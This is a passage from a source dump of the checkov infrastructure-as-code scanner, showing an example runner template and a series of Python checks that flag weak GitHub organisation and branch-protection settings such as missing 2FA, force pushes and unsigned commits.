framework_list for x in (\"all\", \"openapi\")):\n        add_from_repository(openapi_registry, \"resource\", \"OpenAPI\")\n    if any(x in framework_list for x in (\"all\", \"ansible\")):\n        graph_registry = get_graph_checks_registry(\"ansible\")\n        graph_registry.load_checks()\n        add_from_repository(graph_registry, \"resource\", \"Ansible\")\n        add_from_repository(ansible_registry, \"resource\", \"Ansible\")\n    if any(x in framework_list for x in (\"all\", \"secrets\")):\n        for check_id, check_type in CHECK_ID_TO_SECRET_TYPE.items():\n            if check_id in SKIP_CHECK_IDS:\n                continue\n\n            if not filtered_policy_ids or check_id in filtered_policy_ids:\n                if use_bc_ids:\n                    check_id = metadata_integration.get_bc_id(check_id)\n                check_link = get_check_link(inspect.getfile(metadata_integration.__class__))\n                printable_checks_list.append((check_id, check_type, \"secrets\", check_type, \"secrets\", check_link))\n    return sorted(printable_checks_list, key=get_compare_key)  # type:ignore[arg-type]\n\n\nif __name__ == '__main__':\n    print_checks()\n"
  },
  {
    "path": "checkov/example_runner/__init__.py",
    "content": "# change this to your runner name\nfrom checkov.example_runner.checks import *  # noqa\n"
  },
  {
    "path": "checkov/example_runner/checks/__init__.py",
    "content": "from checkov.example_runner.checks.job import *  # noqa\n"
  },
  {
    "path": "checkov/example_runner/checks/base_example_runner_check.py",
    "content": "#\n# No change required normally except CheckCategories.XXXXX line 13\n#\nfrom __future__ import annotations\n\nfrom collections.abc import Iterable\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\n# Change the class name to your runner\n# Eg. BaseXXXXXXXXXXXXXCheck\nclass BaseExampleRunnerCheck(BaseCheck):\n    def __init__(\n        self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None\n    ) -> None:\n        # Set category for new checks\n        # Look at checkov/common/models/enums.py for options\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n"
  },
  {
    "path": "checkov/example_runner/checks/base_example_runner_job_check.py",
    "content": "#\n# Small customisations below to import resource registry and add the\n# resource type to the supported_entities\nfrom __future__ import annotations\n\nfrom checkov.example_runner.checks.base_example_runner_check import BaseExampleRunnerCheck\n\n# The base check required you to import the resource check registry\nfrom checkov.example_runner.checks.job_registry import registry\n\n\nclass BaseExampleRunnerJobCheck(BaseExampleRunnerCheck):\n    def __init__(self, name: str, id: str, block_type: str, path: str | None = None) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            # Set up your runner for the correct resource types\n            # This is the same string is you defined in line 20\n            # in your runner.py\n            supported_entities=(\"jobs\",),\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n"
  },
  {
    "path": "checkov/example_runner/checks/job/ExampleCheckTrueFalse.py",
    "content": "#\n# Example check\n# This is checking yaml that looks like this example where\n# Our resource is \"jobs\"\n# It is of type ARRAY because there can be more than one that\n# needs to be checked\n#\n# jobs:\n#   unsecure-job:\n#     name: job2\n#     runs-on: ubuntu-latest\n#     env:\n#       ACTIONS_ALLOW_UNSECURE_COMMANDS: true\n#     steps:\n#       - name: unsecure-step2\n#         run: |\n#           echo \"goo\"\n#   secure-job:\n#     name: job3\n#     runs-on: ubuntu-latest\n#     env:\n#       ACTIONS_ALLOW_UNSECURE_COMMANDS: false\n#     run: |\n#       echo \"ok\"\n#\nfrom __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\n# Import your base check\nfrom checkov.example_runner.checks.base_example_runner_job_check import BaseExampleRunnerJobCheck\n\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass ExampleCheckTrueFalse(BaseExampleRunnerJobCheck):\n    def __init__(self) -> None:\n        # Describe the check for the user\n        name = \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job\"\n        # Give the check a unique id eg. CKV_TLA_24 where\n        #  CKV is standard for python checks\n        #  TLA = Three letter acronym for your runner check type: GHA is GitHub Actions\n        #  24 is the number in sequence of checks.  Must be unique!\n        id = \"CKV_GHA_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            # the block type tells the parse whether you'd expect one resource or many\n            # options are ARRAY or OBJECT\n            block_type=BlockType.ARRAY,\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        # The block type is passed as a data structure.\n        # Add logic to parse the structure for the misconfig\n        # Remember to always return a PASSED or FAILED.\n        # It is easy to miss a result in complex logic\n        if \"env\" not in conf:\n            return CheckResult.PASSED, conf\n        env_variables = conf.get(\"env\", {})\n        if env_variables.get(\"MY_ENV_IS_PASSED\", False):\n            return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\n# Set this to your check name\ncheck = ExampleCheckTrueFalse()\n"
  },
  {
    "path": "checkov/example_runner/checks/job/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/example_runner/checks/job_registry.py",
    "content": "#\n# No change required normally except to possibly switch it to json\n# eg. from checkov.json_doc.base_registry import Registry\n#\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(CheckType.YAML)\n"
  },
  {
    "path": "checkov/example_runner/common/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/example_runner/runner.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.bridgecrew.check_type import CheckType\n\n# Import of the checks registry for a specific resource type\nfrom checkov.example_runner.checks.job_registry import registry as job_registry\n\n# Import of the IaC runner to inherit most of the code from\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\n# Inherit either that YamlRunner or the JSONRunner or ObjectRunner\n# depending on IaC type or for the latter if a totally new IaC type\nclass Runner(YamlRunner):\n    # EDIT: change below to CheckType.**MY_TYPE**\n    # MY_TYPE is defined in report.py in checkov/common/output\n    # class CheckType:\n    # ...\n    #   MY_TYPE = \"my_type\"\n    #\n    check_type = CheckType.MY_TYPE  # type:ignore[attr-defined]  # noqa: CCE003  # a static attribute\n\n    # Define your block type\n    block_type_registries = {  # noqa: CCE003  # a static attribute\n        \"jobs\": job_registry,\n    }\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        # Override of an abstract method for the class of checks to do with\n        # a specific resource type (in this case 'jobs')\n        # This is specific to how the IaC is broken into checkable subcomponents\n        return self.block_type_registries[\"jobs\"]\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        # EDIT\" add conditional here to ensure this file is something we should parse.\n        # Below is this example for github actions\n        # as the file is always located in a predictable path\n        # There should always be a conditional otherwise you'll parse ALL files.\n        if \".github/workflows/\" in os.path.abspath(f):\n            return YamlRunner._parse_file(f)\n\n        return None\n\n\n#   An abstract function placeholder to determine the start and end lines.\n#   If the default doesn't work you'll need to add your own version here\n#    def get_start_end_lines(self, end, result_config, start):\n"
  },
  {
    "path": "checkov/github/__init__.py",
    "content": "from checkov.github.checks import *  # noqa\n"
  },
  {
    "path": "checkov/github/base_github_branch_security.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom abc import abstractmethod\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.json_utils import get_jsonpath_from_evaluated_key\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck\nfrom checkov.github.schemas.branch_protection import schema as branch_security_schema\nfrom checkov.github.schemas.no_branch_protection import schema as no_branch_security_schema\nfrom checkov.json_doc.enums import BlockType\n\nMESSAGE_BRANCH_NOT_PROTECTED = 'Branch not protected'\n\n\nclass BranchSecurity(BaseGithubCheck):\n    def __init__(self, id: str, name: str) -> None:\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=(\"*\",),\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        if branch_security_schema.validate(conf):\n            evaluated_key = self.get_evaluated_keys()[0]\n            jsonpath_expression = get_jsonpath_from_evaluated_key(evaluated_key)\n            matches = jsonpath_expression.find(conf)\n            if matches and all(isinstance(match.value, dict) or match.value == self.get_expected_value() for match in matches):\n                return CheckResult.PASSED\n            else:\n                return CheckResult.FAILED\n        if no_branch_security_schema.validate(conf):\n            message = conf.get('message', '')\n            if message == MESSAGE_BRANCH_NOT_PROTECTED:\n                return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n    def get_expected_value(self) -> str | bool:\n        return True\n\n    @abstractmethod\n    def get_evaluated_keys(self) -> list[str]:\n        pass\n"
  },
  {
    "path": "checkov/github/base_github_configuration_check.py",
    "content": "from __future__ import annotations\n\nfrom typing import Iterable\nfrom typing import Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.github.dal import CKV_METADATA\nfrom checkov.github.registry import registry\n\n\nHTTP = \"http://\"\n\n\nclass BaseGithubCheck(BaseCheck):\n    def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str],\n                 block_type: str, path: str | None = None, guideline: str | None = None) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n            guideline=guideline,\n        )\n        self.path = path\n        registry.register(self)\n\n    @staticmethod\n    def resolve_ckv_metadata_conf(conf: dict[str, Any]) -> tuple[dict[str, Any], dict[str, Any]]:\n        if isinstance(conf, list) and conf:\n            ckv_metadata = conf[-1]\n            new_conf = conf[:-1]\n            return ckv_metadata, new_conf\n        elif isinstance(conf, dict):\n            ckv_metadata = conf.get(CKV_METADATA)\n            if ckv_metadata:\n                new_conf = conf.copy()\n                del new_conf[CKV_METADATA]\n                return ckv_metadata, new_conf\n        return {}, conf\n"
  },
  {
    "path": "checkov/github/base_github_negative_branch_security.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom abc import abstractmethod\n\nfrom bc_jsonpath_ng import parse\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck\nfrom checkov.github.schemas.branch_protection import schema as branch_security_schema\nfrom checkov.github.schemas.no_branch_protection import schema as no_branch_security_schema\nfrom checkov.json_doc.enums import BlockType\n\nMESSAGE_BRANCH_NOT_PROTECTED = \"Branch not protected\"\n\n\nclass NegativeBranchSecurity(BaseGithubCheck):\n    def __init__(self, id: str, name: str, missing_attribute_result: CheckResult = CheckResult.PASSED) -> None:\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=(\"*\",),\n            block_type=BlockType.DOCUMENT,\n        )\n        self.missing_attribute_result = missing_attribute_result\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        if branch_security_schema.validate(conf):\n            evaluated_key = self.get_evaluated_keys()[0].replace(\"/\", \".\")\n            jsonpath_expression = parse(f\"$..{evaluated_key}\")\n            matches = jsonpath_expression.find(conf)\n            if not matches:\n                # attribute doesn't exists\n                return self.missing_attribute_result\n\n            if matches:\n                forbidden_values = self.get_forbidden_values()\n                if ANY_VALUE in forbidden_values or any(\n                    match.value in forbidden_values for match in matches\n                ):\n                    # attribute exists, but is not a value of 'get_forbidden_values()' or 'ANY_VALUE'\n                    return CheckResult.FAILED\n\n            return CheckResult.PASSED\n        if no_branch_security_schema.validate(conf):\n            message = conf.get(\"message\", \"\")\n            if message == MESSAGE_BRANCH_NOT_PROTECTED:\n                return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n    @abstractmethod\n    def get_evaluated_keys(self) -> list[str]:\n        \"\"\"List of JSONPath syntax path of the checked attributes\"\"\"\n        pass\n\n    @abstractmethod\n    def get_forbidden_values(self) -> list[Any]:\n        \"\"\"List of forbidden values for the evaluated keys\"\"\"\n        pass\n"
  },
  {
    "path": "checkov/github/base_github_org_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.json_utils import get_jsonpath_from_evaluated_key\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck\nfrom checkov.github.schemas.organization import schema as org_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass BaseOrganizationCheck(BaseGithubCheck):\n    def __init__(self, id: str, name: str, missing_attribute_result: CheckResult = CheckResult.PASSED) -> None:\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=(\"*\",),\n            block_type=BlockType.DOCUMENT,\n        )\n        self.missing_attribute_result = missing_attribute_result\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf)\n        if 'org_metadata' in ckv_metadata.get('file_name', ''):\n            if org_schema.validate(conf):\n                evaluated_key = self.get_evaluated_keys()[0]\n                jsonpath_expression = get_jsonpath_from_evaluated_key(evaluated_key)\n                matches = jsonpath_expression.find(conf)\n                if matches:\n                    if matches[0].value in self.get_allowed_values():\n                        return CheckResult.PASSED\n                    return CheckResult.FAILED\n                return self.missing_attribute_result\n        return CheckResult.UNKNOWN\n\n    @abstractmethod\n    def get_evaluated_keys(self) -> list[str]:\n        pass\n\n    @abstractmethod\n    def get_allowed_values(self) -> list[Any]:\n        pass\n"
  },
  {
    "path": "checkov/github/base_github_org_security.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.json_utils import get_jsonpath_from_evaluated_key\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck\nfrom checkov.github.schemas.org_security import schema as org_security_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass OrgSecurity(BaseGithubCheck):\n    def __init__(self, id: str, name: str) -> None:\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        if org_security_schema.validate(conf):\n            evaluated_key = self.get_evaluated_keys()[0]\n            jsonpath_expression = get_jsonpath_from_evaluated_key(evaluated_key)\n            if all(match.value == self.get_expected_value() for match in jsonpath_expression.find(conf)):\n                return CheckResult.PASSED\n            else:\n                return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n    def get_expected_value(self) -> int | bool | str:\n        return True\n\n    @abstractmethod\n    def get_evaluated_keys(self) -> list[str]:\n        pass\n"
  },
  {
    "path": "checkov/github/checks/2fa.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_org_security import OrgSecurity\n\n\nclass Github2FA(OrgSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub organization security settings require 2FA\"\n        id = \"CKV_GITHUB_1\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['data/organization/requiresTwoFactorAuthentication']\n\n\ncheck = Github2FA()\n"
  },
  {
    "path": "checkov/github/checks/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/github/checks/disallow_branch_deletions.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchDisallowDeletions(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection rules does not allow deletions\"\n        id = \"CKV_GITHUB_18\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['allow_deletions/enabled']\n\n    def get_expected_value(self) -> bool:\n        return False\n\n\ncheck = GithubBranchDisallowDeletions()\n"
  },
  {
    "path": "checkov/github/checks/disallow_force_pushes.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchDisallowForcePushes(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection rules does not allow force pushes\"\n        id = \"CKV_GITHUB_5\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['allow_force_pushes/enabled']\n\n    def get_expected_value(self) -> bool:\n        return False\n\n\ncheck = GithubBranchDisallowForcePushes()\n"
  },
  {
    "path": "checkov/github/checks/disallow_inactive_branch_60days.py",
    "content": "from __future__ import annotations\n\nimport datetime\nfrom typing import Any\n\nfrom bc_jsonpath_ng import parse\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck\nfrom checkov.github.schemas.branch import schema as branch_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass GithubDisallowInactiveBranch60Days(BaseGithubCheck):\n    def __init__(self) -> None:\n        name = \"Ensure inactive branches are reviewed and removed periodically\"\n        id = \"CKV_GITHUB_15\"\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=(\"*\",),\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        if branch_schema.validate(conf):\n            evaluated_key = self.get_evaluated_keys()[0].replace(\"/\", \".\")\n            jsonpath_expression = parse(f\"$..{evaluated_key}\")\n            matches = jsonpath_expression.find(conf)\n            if matches:\n                last_commit = matches[0].value.get('date', '')\n                if last_commit:\n                    two_months_ago = datetime.datetime.today() - datetime.timedelta(days=60)\n                    last_commit_date = datetime.datetime.strptime(last_commit, \"%Y-%m-%dT%H:%M:%SZ\")\n                    if last_commit_date < two_months_ago:\n                        return CheckResult.FAILED\n                    return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['commit/commit/author']\n\n\ncheck = GithubDisallowInactiveBranch60Days()\n"
  },
  {
    "path": "checkov/github/checks/dismiss_stale_reviews.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchDismissStaleReviews(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection dismisses stale review on new commit\"\n        id = \"CKV_GITHUB_11\"\n        super().__init__(name=name, id=id)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"required_pull_request_reviews/dismiss_stale_reviews\"]\n\n\ncheck = GithubBranchDismissStaleReviews()\n"
  },
  {
    "path": "checkov/github/checks/enforce_branch_protection_admins.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchAdminEnforcement(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure branch protection rules are enforced on administrators\"\n        id = \"CKV_GITHUB_10\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['enforce_admins/enabled']\n\n\ncheck = GithubBranchAdminEnforcement()\n"
  },
  {
    "path": "checkov/github/checks/internal_repository_creation_is_limited.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github.base_github_org_check import BaseOrganizationCheck\n\n\nclass GithubInternalRepositoryCreationIsLimited(BaseOrganizationCheck):\n    def __init__(self) -> None:\n        name = \"Ensure internal repository creation is limited to specific members\"\n        id = \"CKV_GITHUB_23\"\n        super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"members_can_create_internal_repositories\"]\n\n    def get_allowed_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = GithubInternalRepositoryCreationIsLimited()\n"
  },
  {
    "path": "checkov/github/checks/ipallowlist.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_org_security import OrgSecurity\n\n\nclass GithubIPAllowList(OrgSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub organization security settings has IP allow list enabled\"\n        id = \"CKV_GITHUB_3\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['data/organization/ipAllowListForInstalledAppsEnabledSetting']\n\n    def get_expected_value(self) -> str:\n        return \"ENABLED\"\n\n\ncheck = GithubIPAllowList()\n"
  },
  {
    "path": "checkov/github/checks/minimum_admins_in_org.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck\nfrom checkov.github.schemas.org_members import schema as org_members\nfrom checkov.json_doc.enums import BlockType\n\nMAX_ADMIN_COUNT = 3\n\n\nclass GithubMinimumAdminsInOrganization(BaseGithubCheck):\n    def __init__(self) -> None:\n        name = \"Ensure minimum admins are set for the organization\"\n        id = \"CKV_GITHUB_26\"\n        categories = (CheckCategories.SUPPLY_CHAIN, )\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf)\n        if 'org_admins' in ckv_metadata.get('file_name', ''):\n            if org_members.validate(conf):\n                if len(conf) <= MAX_ADMIN_COUNT:\n                    return CheckResult.PASSED\n                else:\n                    return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = GithubMinimumAdminsInOrganization()\n"
  },
  {
    "path": "checkov/github/checks/private_repository_creation_is_limited.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github.base_github_org_check import BaseOrganizationCheck\n\n\nclass GithubPrivateRepositoryCreationIsLimited(BaseOrganizationCheck):\n    def __init__(self) -> None:\n        name = \"Ensure private repository creation is limited to specific members\"\n        id = \"CKV_GITHUB_22\"\n        super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"members_can_create_private_repositories\"]\n\n    def get_allowed_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = GithubPrivateRepositoryCreationIsLimited()\n"
  },
  {
    "path": "checkov/github/checks/public_repository_creation_is_limited.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github.base_github_org_check import BaseOrganizationCheck\n\n\nclass GithubPublicRepositoryCreationIsLimited(BaseOrganizationCheck):\n    def __init__(self) -> None:\n        name = \"Ensure public repository creation is limited to specific members\"\n        id = \"CKV_GITHUB_21\"\n        super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"members_can_create_public_repositories\"]\n\n    def get_allowed_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = GithubPublicRepositoryCreationIsLimited()\n"
  },
  {
    "path": "checkov/github/checks/repository_collaborators.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck\nfrom checkov.github.schemas.repository_collaborators import schema as repository_collaborators_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass GithubRepositoryCollaborators(BaseGithubCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 2 admins are set for each repository\"\n        id = \"CKV_GITHUB_9\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf)\n        if 'repository_collaborators' in ckv_metadata.get('file_name', ''):\n            if conf and repository_collaborators_schema.validate(conf):\n                admin_collaborators = 0\n                for item in conf:\n                    if isinstance(item, dict):\n                        permissions = item.get(\"permissions\", {})\n                        admin = permissions.get('admin', False)\n                        if admin:\n                            admin_collaborators += 1\n                if admin_collaborators >= 2:\n                    return CheckResult.PASSED\n                else:\n                    return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = GithubRepositoryCollaborators()\n"
  },
  {
    "path": "checkov/github/checks/require_2approvals.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github.base_github_negative_branch_security import NegativeBranchSecurity\n\n\nclass GithubRequire2Approvals(NegativeBranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure any change to code receives approval of two strongly authenticated users\"\n        id = \"CKV_GITHUB_19\"\n        super().__init__(name=name, id=id, missing_attribute_result=CheckResult.FAILED)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"required_pull_request_reviews/required_approving_review_count\"]\n\n    def get_forbidden_values(self) -> list[int | None]:\n        return [None, 0, 1]\n\n\ncheck = GithubRequire2Approvals()\n"
  },
  {
    "path": "checkov/github/checks/require_code_owner_reviews.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchRequireCodeOwnerReviews(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection requires CODEOWNER reviews\"\n        id = \"CKV_GITHUB_13\"\n        super().__init__(name=name, id=id)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"required_pull_request_reviews/require_code_owner_reviews\"]\n\n\ncheck = GithubBranchRequireCodeOwnerReviews()\n"
  },
  {
    "path": "checkov/github/checks/require_conversation_resolution.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchRequireConversationResolution(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection requires conversation resolution\"\n        id = \"CKV_GITHUB_16\"\n        super().__init__(name=name, id=id)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"required_conversation_resolution/enabled\"]\n\n\ncheck = GithubBranchRequireConversationResolution()\n"
  },
  {
    "path": "checkov/github/checks/require_linear_history.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchLinearHistory(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection rules requires linear history\"\n        id = \"CKV_GITHUB_8\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['required_linear_history/enabled']\n\n\ncheck = GithubBranchLinearHistory()\n"
  },
  {
    "path": "checkov/github/checks/require_push_restrictions.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchRequirePushRestrictions(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection requires push restrictions\"\n        id = \"CKV_GITHUB_17\"\n        super().__init__(name=name, id=id)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"restrictions\"]\n\n\ncheck = GithubBranchRequirePushRestrictions()\n"
  },
  {
    "path": "checkov/github/checks/require_signatures.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchCommitSignature(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection rules requires signed commits\"\n        id = \"CKV_GITHUB_4\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['required_signatures/enabled']\n\n\ncheck = GithubBranchCommitSignature()\n"
  },
  {
    "path": "checkov/github/checks/require_status_checks_pr.py",
    "content": "from __future__ import annotations\n\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchRequireStatusChecks(BranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure all checks have passed before the merge of new code\"\n        id = \"CKV_GITHUB_14\"\n        super().__init__(name=name, id=id)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"required_status_checks\"]\n\n\ncheck = GithubBranchRequireStatusChecks()\n"
  },
  {
    "path": "checkov/github/checks/require_strict_base_permissions_repository.py",
